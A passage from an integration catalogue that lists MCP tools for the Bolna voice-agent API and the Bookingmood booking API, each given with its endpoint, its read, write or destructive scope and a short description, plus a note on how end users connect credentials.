/api/v1/bolna/workflows/{workflow_id}/draft. Scopes: api. bolna_get_workflows_by_workflow_id_versions_by_version (read) — Retrieves the frozen definition of a published version. via GET /workflows/{workflow_id}/versions/{version} GET /api/v1/bolna/workflows/{workflow_id}/versions/{version}. Scopes: api. bolna_patch_extraction_categories_by_category_id (write) — Update an extraction category. Both fields are individually optional, but at least one of `name` or `model` must be present — an empty body is rejected. Renaming a category rewrites the `category` label on all of its dispositions in the same transaction, so extraction results and disposition responses stay consistent. Changing `model` switches the LLM used for the category's extraction pass on subsequent calls. via PATCH /extraction-categories/{category_id} PATCH /api/v1/bolna/extraction-categories/{category_id}. Scopes: api. bolna_patch_sip_trunks_trunks_by_trunk_id (write) — Partially update an existing SIP trunk. Only included fields are changed. Gateways and ip_identifiers arrays are fully replaced when provided. via PATCH /sip-trunks/trunks/{trunk_id} PATCH /api/v1/bolna/sip-trunks/trunks/{trunk_id}. Scopes: api. bolna_patch_sub_accounts_by_sub_account_id (write) — Patch update a sub-account. via PATCH /sub-accounts/{sub_account_id} PATCH /api/v1/bolna/sub-accounts/{sub_account_id}. Scopes: api. bolna_patch_v2_agent_by_agent_id (write) — Patch update an agent. via PATCH /v2/agent/{agent_id} PATCH /api/v1/bolna/v2/agent/{agent_id}. Scopes: api. bolna_patch_workflows_by_workflow_id (write) — Renames a workflow. `name` is the only patchable field — the definition itself is edited through the draft endpoints. via PATCH /workflows/{workflow_id} PATCH /api/v1/bolna/workflows/{workflow_id}. Scopes: api. bolna_post_agent_by_agent_id_extraction_categories (write) — Create an extraction category and attach it to the agent. Attaching a category gives the agent all of the category's dispositions; dispositions are added to the category via the Dispositions API using `category_id`. The category name must be unique among the agent's attached categories. The `model` applies to the category's entire extraction pass — one category is evaluated in one LLM call. via POST /agent/{agent_id}/extraction-categories POST /api/v1/bolna/agent/{agent_id}/extraction-categories. Scopes: api. bolna_post_batches_by_batch_id_stop (write) — Stop a running batch. via POST /batches/{batch_id}/stop POST /api/v1/bolna/batches/{batch_id}/stop. Scopes: api. bolna_post_call (write) — Initiate calls. Places a REAL outbound phone call from the agent to the recipient number and spends Bolna wallet credit (a call fails with status balance-low when the wallet is empty). via POST /call POST /api/v1/bolna/call. Scopes: api. bolna_post_call_by_execution_id_stop (write) — Stop a queued or scheduled call. via POST /call/{execution_id}/stop POST /api/v1/bolna/call/{execution_id}/stop. Scopes: api. bolna_post_dispositions (write) — Create a new disposition and link it to an agent. `agent_id` is required and the disposition is automatically linked to that agent upon creation. via POST /dispositions/ POST /api/v1/bolna/dispositions. Scopes: api. bolna_post_dispositions_bulk (write) — Atomically create and link multiple dispositions to an agent in a single request. Either all dispositions are created and linked, or none are. via POST /dispositions/bulk POST /api/v1/bolna/dispositions/bulk. Scopes: api. bolna_post_extractions (write) — Create a new extraction template (Admin only). via POST /extractions/ POST /api/v1/bolna/extractions. Scopes: api. bolna_post_inbound_setup (write) — Add agent for inbound calls with optional IVR configuration. Real inbound calls to that number are then answered by the agent. via POST /inbound/setup POST /api/v1/bolna/inbound/setup. Scopes: api. bolna_post_inbound_unlink (write) — Remove agent for inbound calls. via POST /inbound/unlink POST /api/v1/bolna/inbound/unlink. Scopes: api. bolna_post_phone_numbers_buy (write) — Buy a phone number. Purchases a real phone number; the Bolna account is billed for it. via POST /phone-numbers/buy POST /api/v1/bolna/phone-numbers/buy. Scopes: api. bolna_post_providers (write) — Add provider. via POST /providers POST /api/v1/bolna/providers. Scopes: api. bolna_post_sip_trunks_trunks (write) — Create a new SIP trunk and register it with Bolna's media layer. via POST /sip-trunks/trunks POST /api/v1/bolna/sip-trunks/trunks. Scopes: api. bolna_post_sip_trunks_trunks_by_trunk_id_numbers (write) — Add a DID phone number to a SIP trunk. via POST /sip-trunks/trunks/{trunk_id}/numbers POST /api/v1/bolna/sip-trunks/trunks/{trunk_id}/numbers. Scopes: api. bolna_post_sub_accounts_create (write) — Creates a new sub-account. via POST /sub-accounts/create POST /api/v1/bolna/sub-accounts/create. Scopes: api. bolna_post_user_model_custom (write) — Add a custom LLM Model. via POST /user/model/custom POST /api/v1/bolna/user/model/custom. Scopes: api. bolna_post_v2_agent (write) — Creates a new agent. via POST /v2/agent POST /api/v1/bolna/v2/agent. Scopes: api. bolna_post_v2_agent_by_agent_id_dispositions_test (write) — Run all dispositions linked to the specified agent against a provided transcript and return the grouped results. Useful for validating your disposition setup before going live. via POST /v2/agent/{agent_id}/dispositions/test POST /api/v1/bolna/v2/agent/{agent_id}/dispositions/test. Scopes: api. bolna_post_v2_agent_by_agent_id_stop (write) — Stop all queued calls for a given agent_id. via POST /v2/agent/{agent_id}/stop POST /api/v1/bolna/v2/agent/{agent_id}/stop. Scopes: api. bolna_post_workflow_campaigns (write) — Creates a campaign in `draft` status. A campaign pins one published version of one workflow at creation time — `version` `null` pins the latest published version — and the pin is immutable afterwards. via POST /workflow-campaigns POST /api/v1/bolna/workflow-campaigns. Scopes: api. bolna_post_workflow_campaigns_by_campaign_id_abort (write) — Aborts a campaign. Terminal — every execution stops before its next external action and cannot be resumed. via POST /workflow-campaigns/{campaign_id}:abort POST /api/v1/bolna/workflow-campaigns/{campaign_id}:abort. Scopes: api. bolna_post_workflow_campaigns_by_campaign_id_entries (write) — Bulk-uploads contacts as CSV rows or a JSON array. Columns must be system fields (`reference_id`, `mobile_number`, `name`, `email`) or fields the pinned version's start node declares — an undeclared column rejects the whole upload with `422 unknown_field` before anything is persisted. Rows are then validated individually; per-row failures land in the response's `failures` array while valid rows are accepted. Offered here as the JSON array form (the text/csv upload is not). via POST /workflow-campaigns/{campaign_id}/entries POST /api/v1/bolna/workflow-campaigns/{campaign_id}/entries. Scopes: api. bolna_post_workflow_campaigns_by_campaign_id_pause (write) — Pauses a `scheduled` or `running` campaign. No new work starts; an execution already waiting on a timer holds at its next dispatch and resumes with the campaign. via POST /workflow-campaigns/{campaign_id}:pause POST /api/v1/bolna/workflow-campaigns/{campaign_id}:pause. Scopes: api. bolna_post_workflow_campaigns_by_campaign_id_resume (write) — Resumes a `paused` campaign. Resumes dialing real contacts. via POST /workflow-campaigns/{campaign_id}:resume POST /api/v1/bolna/workflow-campaigns/{campaign_id}:resume. Scopes: api. bolna_post_workflow_campaigns_by_campaign_id_start (write) — Starts dialing a batch campaign's pending entries. The campaign must be `draft` or `scheduled` and hold at least one pending entry. Idempotent — repeating the call is a no-op. Starts dialing REAL contacts and spends wallet credit. via POST /workflow-campaigns/{campaign_id}:start POST /api/v1/bolna/workflow-campaigns/{campaign_id}:start. Scopes: api. bolna_post_workflow_executions_by_execution_id_cancel (write) — Stops one execution before its next external action. Cancelling an already-terminal execution is a no-op that returns its current status. via POST /workflow-executions/{execution_id}:cancel POST /api/v1/bolna/workflow-executions/{execution_id}:cancel. Scopes: api. bolna_post_workflows (write) — Creates a new workflow with an empty draft at revision `0`. Save a definition with the [Save Draft API](/api-reference/workflows/save-draft), then validate and publish it. via POST /workflows POST /api/v1/bolna/workflows. Scopes: api. bolna_post_workflows_by_workflow_id_publish (write) — Validates the draft and freezes it as an immutable published version, then opens a fresh draft at revision `0`. Campaigns and single runs always execute published versions, never drafts. via POST /workflows/{workflow_id}/publish POST /api/v1/bolna/workflows/{workflow_id}/publish. Scopes: api. bolna_post_workflows_by_workflow_id_run (write) — Runs one contact through the workflow's latest published version. Returns an execution you can poll with the [Get Execution API](/api-reference/workflow-executions/get). Fields declared by the start node may be passed flat at the top level or nested under `custom_fields`; a flat key wins on collision. Starts a real run: the workflow's nodes can place calls and send messages to the contact, spending wallet credit. via POST /workflows/{workflow_id}/run POST /api/v1/bolna/workflows/{workflow_id}/run. Scopes: api. bolna_post_workflows_by_workflow_id_validate (write) — Validates the saved draft without mutating anything. Issues with `severity` `error` block publish; warnings do not. via POST /workflows/{workflow_id}/validate POST /api/v1/bolna/workflows/{workflow_id}/validate. Scopes: api. bolna_put_dispositions_by_disposition_id (write) — Update an existing disposition. All fields in the request body are optional — only fields you include are changed. When `agent_id` is provided (scoped mode), the API checks whether the disposition is exclusive to that agent: - If exclusive, it is edited in place and `200 OK` is returned. - If shared, a new private copy is created for this agent and the agent is re-linked to the copy; the original disposition is unchanged and `201 Created` is returned with the new ID. via PUT /dispositions/{disposition_id} PUT /api/v1/bolna/dispositions/{disposition_id}. Scopes: api. bolna_put_extractions_by_template_id (write) — Update an extraction template (Admin only). via PUT /extractions/{template_id} PUT /api/v1/bolna/extractions/{template_id}. Scopes: api. bolna_put_v2_agent_by_agent_id (write) — Update an agent. via PUT /v2/agent/{agent_id} PUT /api/v1/bolna/v2/agent/{agent_id}. Scopes: api. bolna_put_workflows_by_workflow_id_draft (write) — Saves the draft definition. `expected_revision` is a compare-and-set token — send the revision you last read; a stale value returns `409 revision_conflict` with the `current_revision`. Drafts store any well-formed JSON object; graph validation happens at validate and publish. via PUT /workflows/{workflow_id}/draft PUT /api/v1/bolna/workflows/{workflow_id}/draft. Scopes: api. ================================================================================ ## Bookingmood URL: https://www.agenticfabriq.com/integrations/bookingmood Section: Integrated Tools Bookingmood — 211 MCP tools Provider key: bookingmood. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bookingmood_delete_attribute_options (write, destructive) — Delete attribute options via DELETE /attribute_options DELETE /api/v1/bookingmood/attribute_options. Scopes: api. bookingmood_delete_attributes (write, destructive) — Delete attributes via DELETE /attributes DELETE /api/v1/bookingmood/attributes. Scopes: api. bookingmood_delete_booking_details (write, destructive) — Delete booking details via DELETE /booking_details DELETE /api/v1/bookingmood/booking_details. Scopes: api. bookingmood_delete_bookings (write, destructive) — Delete bookings via DELETE /bookings DELETE /api/v1/bookingmood/bookings. Scopes: api. bookingmood_delete_calendar_event_notes (write, destructive) — Delete calendar event notes via DELETE /calendar_event_notes DELETE /api/v1/bookingmood/calendar_event_notes. Scopes: api. bookingmood_delete_calendar_events (write, destructive) — Delete calendar events via DELETE /calendar_events DELETE /api/v1/bookingmood/calendar_events. Scopes: api. bookingmood_delete_capacities (write, destructive) — Delete capacities via DELETE /capacities DELETE /api/v1/bookingmood/capacities. Scopes: api. bookingmood_delete_capacity_group_dependencies (write, destructive) — Delete capacity group dependencies via DELETE /capacity_group_dependencies DELETE /api/v1/bookingmood/capacity_group_dependencies. Scopes: api. bookingmood_delete_capacity_groups (write, destructive) — Delete capacity groups via DELETE /capacity_groups DELETE /api/v1/bookingmood/capacity_groups. Scopes: api. bookingmood_delete_contact_bookings (write, destructive) — Delete contact bookings via DELETE /contact_bookings DELETE /api/v1/bookingmood/contact_bookings. Scopes: api. bookingmood_delete_contacts (write, destructive) — Delete contacts via DELETE /contacts DELETE /api/v1/bookingmood/contacts. Scopes: api. bookingmood_delete_coupon_products (write, destructive) — Delete coupon products via DELETE /coupon_products DELETE /api/v1/bookingmood/coupon_products. Scopes: api. bookingmood_delete_coupon_services (write, destructive) — Delete coupon services via DELETE /coupon_services DELETE /api/v1/bookingmood/coupon_services. Scopes: api. bookingmood_delete_coupon_uses (write, destructive) — Delete coupon uses via DELETE /coupon_uses DELETE /api/v1/bookingmood/coupon_uses. Scopes: api. bookingmood_delete_coupons (write, destructive) — Delete coupons via DELETE /coupons DELETE /api/v1/bookingmood/coupons. Scopes: api. bookingmood_delete_external_calendars (write, destructive) — Delete external calendars via DELETE /external_calendars DELETE /api/v1/bookingmood/external_calendars. Scopes: api. bookingmood_delete_invoices (write, destructive) — Delete invoices via DELETE /invoices DELETE /api/v1/bookingmood/invoices. Scopes: api. bookingmood_delete_line_item_taxes (write, destructive) — Delete line item taxes via DELETE /line_item_taxes DELETE /api/v1/bookingmood/line_item_taxes. Scopes: api. bookingmood_delete_line_items (write, destructive) — Delete line items via DELETE /line_items DELETE /api/v1/bookingmood/line_items. Scopes: api. bookingmood_delete_message_templates (write, destructive) — Delete message templates via DELETE /message_templates DELETE /api/v1/bookingmood/message_templates. Scopes: api. bookingmood_delete_payments (write, destructive) — Delete payments via DELETE /payments DELETE /api/v1/bookingmood/payments. Scopes: api. bookingmood_delete_permissions (write, destructive) — Delete permissions via DELETE /permissions DELETE /api/v1/bookingmood/permissions. Scopes: api. bookingmood_delete_price_calendar_entries (write, destructive) — Delete price calendar entries via DELETE /price_calendar_entries DELETE /api/v1/bookingmood/price_calendar_entries. Scopes: api. bookingmood_delete_pricing_widgets (write, destructive) — Delete pricing widgets via DELETE /pricing_widgets DELETE /api/v1/bookingmood/pricing_widgets. Scopes: api. bookingmood_delete_product_attribute_options (write, destructive) — Delete product attribute options via DELETE /product_attribute_options DELETE /api/v1/bookingmood/product_attribute_options. Scopes: api. bookingmood_delete_product_message_templates (write, destructive) — Delete product message templates via DELETE /product_message_templates DELETE /api/v1/bookingmood/product_message_templates. Scopes: api. bookingmood_delete_product_reply_to_addresses (write, destructive) — Delete product reply to addresses via DELETE /product_reply_to_addresses DELETE /api/v1/bookingmood/product_reply_to_addresses. Scopes: api. bookingmood_delete_product_services (write, destructive) — Delete product services via DELETE /product_services DELETE /api/v1/bookingmood/product_services. Scopes: api. bookingmood_delete_refunds (write, destructive) — Delete refunds via DELETE /refunds DELETE /api/v1/bookingmood/refunds. Scopes: api. bookingmood_delete_reply_to_addresses (write, destructive) — Delete reply to addresses via DELETE /reply_to_addresses DELETE /api/v1/bookingmood/reply_to_addresses. Scopes: api. bookingmood_delete_review_products (write, destructive) — Delete review products via DELETE /review_products DELETE /api/v1/bookingmood/review_products. Scopes: api. bookingmood_delete_review_widget_listings (write, destructive) — Delete review widget listings via DELETE /review_widget_listings DELETE /api/v1/bookingmood/review_widget_listings. Scopes: api. bookingmood_delete_review_widgets (write, destructive) — Delete review widgets via DELETE /review_widgets DELETE /api/v1/bookingmood/review_widgets. Scopes: api. bookingmood_delete_reviews (write, destructive) — Delete reviews via DELETE /reviews DELETE /api/v1/bookingmood/reviews. Scopes: api. bookingmood_delete_seasons (write, destructive) — Delete seasons via DELETE /seasons DELETE /api/v1/bookingmood/seasons. Scopes: api. bookingmood_delete_services (write, destructive) — Delete services via DELETE /services DELETE /api/v1/bookingmood/services. Scopes: api. bookingmood_delete_site_listings (write, destructive) — Delete site listings via DELETE /site_listings DELETE /api/v1/bookingmood/site_listings. Scopes: api. bookingmood_delete_site_nav_items (write, destructive) — Delete site nav items via DELETE /site_nav_items DELETE /api/v1/bookingmood/site_nav_items. Scopes: api. bookingmood_delete_site_pages (write, destructive) — Delete site pages via DELETE /site_pages DELETE /api/v1/bookingmood/site_pages. Scopes: api. bookingmood_delete_task_assignees (write, destructive) — Delete task assignees via DELETE /task_assignees DELETE /api/v1/bookingmood/task_assignees. Scopes: api. bookingmood_delete_task_template_assignees (write, destructive) — Delete task template assignees via DELETE /task_template_assignees DELETE /api/v1/bookingmood/task_template_assignees. Scopes: api. bookingmood_delete_task_templates (write, destructive) — Delete task templates via DELETE /task_templates DELETE /api/v1/bookingmood/task_templates. Scopes: api. bookingmood_delete_tasks (write, destructive) — Delete tasks via DELETE /tasks DELETE /api/v1/bookingmood/tasks. Scopes: api. bookingmood_delete_taxes (write, destructive) — Delete taxes via DELETE /taxes DELETE /api/v1/bookingmood/taxes. Scopes: api. bookingmood_delete_webhooks (write, destructive) — Delete webhooks via DELETE /webhooks DELETE /api/v1/bookingmood/webhooks. Scopes: api. bookingmood_delete_widget_listings (write, destructive) — Delete widget listings via DELETE /widget_listings DELETE /api/v1/bookingmood/widget_listings. Scopes: api. bookingmood_delete_widgets (write, destructive) — Delete widgets via DELETE /widgets DELETE /api/v1/bookingmood/widgets. Scopes: api. bookingmood_get_api_requests (read) — List api requests via GET /api_requests GET /api/v1/bookingmood/api_requests. Scopes: api. bookingmood_get_attribute_options (read) — List attribute options via GET /attribute_options GET /api/v1/bookingmood/attribute_options. Scopes: api. bookingmood_get_attributes (read) — List attributes via GET /attributes GET /api/v1/bookingmood/attributes. Scopes: api. bookingmood_get_availability (read) — Query Availability via GET /availability GET /api/v1/bookingmood/availability. Scopes: api. bookingmood_get_booking_details (read) — List booking details via GET /booking_details GET /api/v1/bookingmood/booking_details. Scopes: api. bookingmood_get_booking_updates (read) — List booking updates via GET /booking_updates GET /api/v1/bookingmood/booking_updates. Scopes: api. bookingmood_get_bookings (read) — List bookings via GET /bookings GET /api/v1/bookingmood/bookings. Scopes: api. bookingmood_get_calendar_event_notes (read) — List calendar event notes via GET /calendar_event_notes GET /api/v1/bookingmood/calendar_event_notes. Scopes: api. bookingmood_get_calendar_event_updates (read) — List calendar event updates via GET /calendar_event_updates GET /api/v1/bookingmood/calendar_event_updates. Scopes: api. bookingmood_get_calendar_events (read) — List calendar events via GET /calendar_events GET /api/v1/bookingmood/calendar_events. Scopes: api. bookingmood_get_capacities (read) — List capacities via GET /capacities GET /api/v1/bookingmood/capacities. Scopes: api. bookingmood_get_capacity_group_dependencies (read) — List capacity group dependencies via GET /capacity_group_dependencies GET /api/v1/bookingmood/capacity_group_dependencies. Scopes: api. bookingmood_get_capacity_groups (read) — List capacity groups via GET /capacity_groups GET /api/v1/bookingmood/capacity_groups. Scopes: api. bookingmood_get_contact_bookings (read) — List contact bookings via GET /contact_bookings GET /api/v1/bookingmood/contact_bookings. Scopes: api. bookingmood_get_contacts (read) — List contacts via GET /contacts GET /api/v1/bookingmood/contacts. Scopes: api. bookingmood_get_coupon_products (read) — List coupon products via GET /coupon_products GET /api/v1/bookingmood/coupon_products. Scopes: api. bookingmood_get_coupon_services (read) — List coupon services via GET /coupon_services GET /api/v1/bookingmood/coupon_services. Scopes: api. bookingmood_get_coupon_uses (read) — List coupon uses via GET /coupon_uses GET /api/v1/bookingmood/coupon_uses. Scopes: api. bookingmood_get_coupons (read) — List coupons via GET /coupons GET /api/v1/bookingmood/coupons. Scopes: api. bookingmood_get_external_calendars (read) — List external calendars via GET /external_calendars GET /api/v1/bookingmood/external_calendars. Scopes: api. bookingmood_get_invoices (read) — List invoices via GET /invoices GET /api/v1/bookingmood/invoices. Scopes: api. bookingmood_get_line_item_taxes (read) — List line item taxes via GET /line_item_taxes GET /api/v1/bookingmood/line_item_taxes. Scopes: api. bookingmood_get_line_items (read) — List line items via GET /line_items GET /api/v1/bookingmood/line_items. Scopes: api. bookingmood_get_members (read) — List members via GET /members GET /api/v1/bookingmood/members. Scopes: api. bookingmood_get_message_events (read) — List message events via GET /message_events GET /api/v1/bookingmood/message_events. Scopes: api. bookingmood_get_message_templates (read) — List message templates via GET /message_templates GET /api/v1/bookingmood/message_templates. Scopes: api. bookingmood_get_messages (read) — List messages via GET /messages GET /api/v1/bookingmood/messages. Scopes: api. bookingmood_get_organization_calendar_logs (read) — List organization calendar logs via GET /organization_calendar_logs GET /api/v1/bookingmood/organization_calendar_logs. Scopes: api. bookingmood_get_organizations (read) — List organizations via GET /organizations GET /api/v1/bookingmood/organizations. Scopes: api. bookingmood_get_paddle_plans (read) — List paddle plans via GET /paddle_plans GET /api/v1/bookingmood/paddle_plans. Scopes: api. bookingmood_get_paddle_subscriptions (read) — List paddle subscriptions via GET /paddle_subscriptions GET /api/v1/bookingmood/paddle_subscriptions. Scopes: api. bookingmood_get_payments (read) — List payments via GET /payments GET /api/v1/bookingmood/payments. Scopes: api. bookingmood_get_permissions (read) — List permissions via GET /permissions GET /api/v1/bookingmood/permissions. Scopes: api. bookingmood_get_price_calendar_entries (read) — List price calendar entries via GET /price_calendar_entries GET /api/v1/bookingmood/price_calendar_entries. Scopes: api. bookingmood_get_pricelabs_pricing (read) — List pricelabs pricing via GET /pricelabs_pricing GET /api/v1/bookingmood/pricelabs_pricing. Scopes: api. bookingmood_get_pricing_widgets (read) — List pricing widgets via GET /pricing_widgets GET /api/v1/bookingmood/pricing_widgets. Scopes: api. bookingmood_get_product_attribute_options (read) — List product attribute options via GET /product_attribute_options GET /api/v1/bookingmood/product_attribute_options. Scopes: api. bookingmood_get_product_calendar_logs (read) — List product calendar logs via GET /product_calendar_logs GET /api/v1/bookingmood/product_calendar_logs. Scopes: api. bookingmood_get_product_message_templates (read) — List product message templates via GET /product_message_templates GET /api/v1/bookingmood/product_message_templates. Scopes: api. bookingmood_get_product_reply_to_addresses (read) — List product reply to addresses via GET /product_reply_to_addresses GET /api/v1/bookingmood/product_reply_to_addresses. Scopes: api. bookingmood_get_product_services (read) — List product services via GET /product_services GET /api/v1/bookingmood/product_services. Scopes: api. bookingmood_get_products (read) — List products via GET /products GET /api/v1/bookingmood/products. Scopes: api. bookingmood_get_refunds (read) — List refunds via GET /refunds GET /api/v1/bookingmood/refunds. Scopes: api. bookingmood_get_reply_to_addresses (read) — List reply to addresses via GET /reply_to_addresses GET /api/v1/bookingmood/reply_to_addresses. Scopes: api. bookingmood_get_review_products (read) — List review products via GET /review_products GET /api/v1/bookingmood/review_products. Scopes: api. bookingmood_get_review_widget_listings (read) — List review widget listings via GET /review_widget_listings GET /api/v1/bookingmood/review_widget_listings. Scopes: api. bookingmood_get_review_widgets (read) — List review widgets via GET /review_widgets GET /api/v1/bookingmood/review_widgets. Scopes: api. bookingmood_get_reviews (read) — List reviews via GET /reviews GET /api/v1/bookingmood/reviews. Scopes: api. bookingmood_get_seasons (read) — List seasons via GET /seasons GET /api/v1/bookingmood/seasons. Scopes: api. bookingmood_get_services (read) — List services via GET /services GET /api/v1/bookingmood/services. Scopes: api. bookingmood_get_site_listings (read) — List site listings via GET /site_listings GET /api/v1/bookingmood/site_listings. Scopes: api. bookingmood_get_site_nav_items (read) — List site nav items via GET /site_nav_items GET /api/v1/bookingmood/site_nav_items. Scopes: api. bookingmood_get_site_pages (read) — List site pages via GET /site_pages GET /api/v1/bookingmood/site_pages. Scopes: api. bookingmood_get_site_views (read) — List site views via GET /site_views GET /api/v1/bookingmood/site_views. Scopes: api. bookingmood_get_sites (read) — List sites via GET /sites GET /api/v1/bookingmood/sites. Scopes: api. bookingmood_get_task_assignees (read) — List task assignees via GET /task_assignees GET /api/v1/bookingmood/task_assignees. Scopes: api. bookingmood_get_task_template_assignees (read) — List task template assignees via GET /task_template_assignees GET /api/v1/bookingmood/task_template_assignees. Scopes: api. bookingmood_get_task_templates (read) — List task templates via GET /task_templates GET /api/v1/bookingmood/task_templates. Scopes: api. bookingmood_get_tasks (read) — List tasks via GET /tasks GET /api/v1/bookingmood/tasks. Scopes: api. bookingmood_get_taxes (read) — List taxes via GET /taxes GET /api/v1/bookingmood/taxes. Scopes: api. bookingmood_get_user_profiles (read) — List user profiles via GET /user_profiles GET /api/v1/bookingmood/user_profiles. Scopes: api. bookingmood_get_webhook_notifications (read) — List webhook notifications via GET /webhook_notifications GET /api/v1/bookingmood/webhook_notifications. Scopes: api. bookingmood_get_webhooks (read) — List webhooks via GET /webhooks GET /api/v1/bookingmood/webhooks. Scopes: api. bookingmood_get_widget_analytics (read) — List widget analytics via GET /widget_analytics GET /api/v1/bookingmood/widget_analytics. Scopes: api. bookingmood_get_widget_listings (read) — List widget listings via GET /widget_listings GET /api/v1/bookingmood/widget_listings. Scopes: api. bookingmood_get_widgets (read) — List widgets via GET /widgets GET /api/v1/bookingmood/widgets. Scopes: api. bookingmood_patch_attribute_options (write) — Update attribute options via PATCH /attribute_options PATCH /api/v1/bookingmood/attribute_options. Scopes: api. bookingmood_patch_attributes (write) — Update attributes via PATCH /attributes PATCH /api/v1/bookingmood/attributes. Scopes: api. bookingmood_patch_booking_details (write) — Update booking details via PATCH /booking_details PATCH /api/v1/bookingmood/booking_details. Scopes: api. bookingmood_patch_bookings (write) — Update bookings via PATCH /bookings PATCH /api/v1/bookingmood/bookings. Scopes: api. bookingmood_patch_calendar_event_notes (write) — Update calendar event notes via PATCH /calendar_event_notes PATCH /api/v1/bookingmood/calendar_event_notes. Scopes: api. bookingmood_patch_calendar_events (write) — Update calendar events via PATCH /calendar_events PATCH /api/v1/bookingmood/calendar_events. Scopes: api. bookingmood_patch_capacities (write) — Update capacities via PATCH /capacities PATCH /api/v1/bookingmood/capacities. Scopes: api. bookingmood_patch_capacity_group_dependencies (write) — Update capacity group dependencies via PATCH /capacity_group_dependencies PATCH /api/v1/bookingmood/capacity_group_dependencies. Scopes: api. bookingmood_patch_capacity_groups (write) — Update capacity groups via PATCH /capacity_groups PATCH /api/v1/bookingmood/capacity_groups. Scopes: api. bookingmood_patch_contact_bookings (write) — Update contact bookings via PATCH /contact_bookings PATCH /api/v1/bookingmood/contact_bookings. Scopes: api. bookingmood_patch_contacts (write) — Update contacts via PATCH /contacts PATCH /api/v1/bookingmood/contacts. Scopes: api. bookingmood_patch_coupon_products (write) — Update coupon products via PATCH /coupon_products PATCH /api/v1/bookingmood/coupon_products. Scopes: api. bookingmood_patch_coupon_services (write) — Update coupon services via PATCH /coupon_services PATCH /api/v1/bookingmood/coupon_services. Scopes: api. bookingmood_patch_coupon_uses (write) — Update coupon uses via PATCH /coupon_uses PATCH /api/v1/bookingmood/coupon_uses. Scopes: api. bookingmood_patch_coupons (write) — Update coupons via PATCH /coupons PATCH /api/v1/bookingmood/coupons. Scopes: api. bookingmood_patch_external_calendars (write) — Update external calendars via PATCH /external_calendars PATCH /api/v1/bookingmood/external_calendars. Scopes: api. bookingmood_patch_invoices (write) — Update invoices via PATCH /invoices PATCH /api/v1/bookingmood/invoices. Scopes: api. bookingmood_patch_line_item_taxes (write) — Update line item taxes via PATCH /line_item_taxes PATCH /api/v1/bookingmood/line_item_taxes. Scopes: api. bookingmood_patch_line_items (write) — Update line items via PATCH /line_items PATCH /api/v1/bookingmood/line_items. Scopes: api. bookingmood_patch_message_templates (write) — Update message templates via PATCH /message_templates PATCH /api/v1/bookingmood/message_templates. Scopes: api. bookingmood_patch_payments (write) — Update payments via PATCH /payments PATCH /api/v1/bookingmood/payments. Scopes: api. bookingmood_patch_permissions (write) — Update permissions via PATCH /permissions PATCH /api/v1/bookingmood/permissions. Scopes: api. bookingmood_patch_price_calendar_entries (write) — Update price calendar entries via PATCH /price_calendar_entries PATCH /api/v1/bookingmood/price_calendar_entries. Scopes: api. bookingmood_patch_pricing_widgets (write) — Update pricing widgets via PATCH /pricing_widgets PATCH /api/v1/bookingmood/pricing_widgets. Scopes: api. bookingmood_patch_product_attribute_options (write) — Update product attribute options via PATCH /product_attribute_options PATCH /api/v1/bookingmood/product_attribute_options. Scopes: api. bookingmood_patch_product_message_templates (write) — Update product message templates via PATCH /product_message_templates PATCH /api/v1/bookingmood/product_message_templates. Scopes: api. bookingmood_patch_product_reply_to_addresses (write) — Update product reply to addresses via PATCH /product_reply_to_addresses PATCH /api/v1/bookingmood/product_reply_to_addresses. Scopes: api. bookingmood_patch_product_services (write) — Update product services via PATCH /product_services PATCH /api/v1/bookingmood/product_services. Scopes: api. bookingmood_patch_products (write) — Update products via PATCH /products PATCH /api/v1/bookingmood/products. Scopes: api. bookingmood_patch_refunds (write) — Update refunds via PATCH /refunds PATCH /api/v1/bookingmood/refunds. Scopes: api. bookingmood_patch_reply_to_addresses (write) — Update reply to addresses via PATCH /reply_to_addresses PATCH /api/v1/bookingmood/reply_to_addresses. Scopes: api. bookingmood_patch_review_products (write) — Update review products via PATCH /review_products PATCH /api/v1/bookingmood/review_products. Scopes: api. bookingmood_patch_review_widget_listings (write) — Update review widget listings via PATCH /review_widget_listings PATCH /api/v1/bookingmood/review_widget_listings. Scopes: api. bookingmood_patch_review_widgets (write) — Update review widgets via PATCH /review_widgets PATCH /api/v1/bookingmood/review_widgets. Scopes: api. bookingmood_patch_reviews (write) — Update reviews via PATCH /reviews PATCH /api/v1/bookingmood/reviews. Scopes: api. bookingmood_patch_seasons (write) — Update seasons via PATCH /seasons PATCH /api/v1/bookingmood/seasons. Scopes: api. bookingmood_patch_services (write) — Update services via PATCH /services PATCH /api/v1/bookingmood/services. Scopes: api. bookingmood_patch_site_listings (write) — Update site listings via PATCH /site_listings PATCH /api/v1/bookingmood/site_listings. Scopes: api. bookingmood_patch_site_nav_items (write) — Update site nav items via PATCH /site_nav_items PATCH /api/v1/bookingmood/site_nav_items. Scopes: api. bookingmood_patch_site_pages (write) — Update site pages via PATCH /site_pages PATCH /api/v1/bookingmood/site_pages. Scopes: api. bookingmood_patch_sites (write) — Update sites via PATCH /sites PATCH /api/v1/bookingmood/sites. Scopes: api. bookingmood_patch_task_assignees (write) — Update task assignees via PATCH /task_assignees PATCH /api/v1/bookingmood/task_assignees. Scopes: api. bookingmood_patch_task_template_assignees (write) — Update task template assignees via PATCH /task_template_assignees PATCH /api/v1/bookingmood/task_template_assignees. Scopes: api. bookingmood_patch_task_templates (write) — Update task templates via PATCH /task_templates PATCH /api/v1/bookingmood/task_templates. Scopes: api. bookingmood_patch_tasks (write) — Update tasks via PATCH /tasks PATCH /api/v1/bookingmood/tasks. Scopes: api. bookingmood_patch_taxes (write) — Update taxes via PATCH /taxes PATCH /api/v1/bookingmood/taxes. Scopes: api. bookingmood_patch_webhooks (write) — Update webhooks via PATCH /webhooks PATCH /api/v1/bookingmood/webhooks. Scopes: api. bookingmood_patch_widget_listings (write) — Update widget listings via PATCH /widget_listings PATCH /api/v1/bookingmood/widget_listings. Scopes: api. bookingmood_patch_widgets (write) — Update widgets via PATCH /widgets PATCH /api/v1/bookingmood/widgets. Scopes: api. bookingmood_post_attribute_options (write) — Create attribute options via POST /attribute_options POST /api/v1/bookingmood/attribute_options. Scopes: api. bookingmood_post_attributes (write) — Create attributes via POST /attributes POST /api/v1/bookingmood/attributes. Scopes: api. bookingmood_post_book (write) — 